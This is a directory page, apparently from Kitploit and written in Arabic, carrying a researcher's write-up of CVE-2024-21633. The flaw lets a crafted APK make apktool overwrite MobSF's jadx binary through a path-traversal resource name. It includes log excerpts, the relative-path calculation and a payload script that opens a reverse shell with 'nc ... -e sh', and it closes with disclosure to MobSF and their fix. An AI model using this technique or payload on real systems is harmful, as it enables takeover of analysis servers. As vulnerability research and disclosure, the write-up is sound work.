Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/0x33c0unt/cve-2024-21633
أمان أندرويدتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةاستغلال تطبيقات الويبأمن الجوالتطوير الحمولاتاستغلال الملفات الثنائية
GitHub0x33c0unt/cve-2024-21633

CVE-2024-21633

MobSF تنفيذ التعليمات البرمجية عن بُعد (عبر CVE-2024-21633)

عرض المستودع
795منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تنفيذ الأوامر عن بعد في MobSF (عبر CVE-2024-21633)

لقد وجدت ثغرة كتابة ملف عشوائي في apktool وأبلغت عنها عبر إشعار أمان GitHub. كنت أعلم أن العديد من المشاريع تعتمد على apktool، ولكن بعد نشر الإشعار والإصلاح لم يبدُ أن الكثيرين لاحظوا ذلك أو اهتموا به. قررت التحقق من تأثيره وإمكانية استغلاله في بعض التطبيقات الكبيرة المعتمدة عليه، وبدأت مع MobSF.

تسمح لنا الثغرة بكتابة أي شيء في مسار نسبي إلى "${decode target path}/res/"، وسيكون التأثير الأكبر هو الحصول على تنفيذ أوامر عن بعد (RCE). ولكن هناك عائق، الملف المكتوب ليس قابلاً للتنفيذ.

كانت لدي هاتان الفكرتان قبل الغوص في التفاصيل:

  • قد نهدف إلى الكتابة فوق ملفات تهيئة الصدفة مثل .bashrc/.zshrc إلخ، ولكن هذا يتطلب إما أن يكون "decode target path" داخل مجلد المستخدم حتى نتمكن من استهدافه مثل: "../../.bashrc" أو نحتاج إلى معرفة (أو تخمين) اسم المستخدم للحصول على هدف مثل "../../../../username/.bashrc"، الشيء الجيد هنا هو أن التطبيق يمكن أن يحتوي على 0xFFFF (65536) اسم مورد خام مختلف لأن معرفات الموارد تبدو مثل 0x7F0B1234 (1 بايت معرف الحزمة عادةً 0x7F، 1 بايت معرف النوع (مثلاً raw, drawable)، 2 بايت معرف المورد). في حالتنا إذا افترضنا أن MobSF يعمل داخل docker فإننا نعرف اسم المستخدم بالفعل، MobSF. ومع ذلك، بعد الكتابة فوق الملف، يجب أن ننتظر حتى يتم إنشاء شل، وهذا غير مضمون.
  • إنشاء مهمة cron لتشغيل سكريبت ضار، يتطلب أن يكون للتطبيق صلاحيات الجذر

ولكن ماذا لو كنا محظوظين بما يكفي لوجود تطبيق يغير صلاحيات ملف ليجعله قابلاً للتنفيذ؟ والأكثر حظاً أن يتم تشغيله بعد ذلك؟ وكل هذا يجب أن يحدث بعد تنفيذ apktool. هذا هو الوضع تماماً مع MobSF. يستخدم MobSF أداة jadx كجزء من تحليله الثابت، حيث يستدعيها عبر عملية فرعية (subprocess)، ولكن قبل ذلك مباشرة يقوم بتغيير صلاحية jadx لتصبح قابلة للتنفيذ.

مقتطف السجل حيث يتم استدعاء apktool و chmod و jadx على التوالي:

root@kitploit:~
[INFO] 07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
[INFO] 07/Jan/2024 20:44:16 - Converting AXML to XML
[INFO] 07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx 
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk

سنستخدم jadx كهدف، ولكننا نحتاج إلى المسار النسبي لـ jadx بالنسبة لمجلد res. يمكننا الحصول على ذلك باستخدام دالة os.path.relpath() في بايثون.

مجلد الموارد الأساسي لدينا هو "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"

نريد الكتابة فوق ملف jadx الثنائي في المسار: "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"

root@kitploit:~
import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'

سيكون الحمولة (payload) لدينا في res/raw/jadx

root@kitploit:~
#!/bin/bash
nc host.docker.internal 9001 -e sh

اسم المورد (resource) سيكون "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx" resources قم بتحميل ملف APK وانتظر تنفيذ jadx، وسنحصل على شل على مستمع nc الخاص بنا. upload بنجو! reverse-shell

ثم أبلغت فريق MobSF بهذا عبر البريد الإلكتروني، وتلقيت رداً سريعاً وقاموا بـ إصلاح الأمر بتحديث إصدار apktool إلى الأحدث، ولكن سلوك جعل jadx قابلاً للتنفيذ وتشغيله بعد ذلك لا يزال قائماً. كنت أفضل أن يتم تعيين الصلاحية بشكل ثابت مسبقاً وأن يبقى الدليل غير قابل للكتابة.

تابع للمزيد! @0x33c0unt

تنزيل الأداة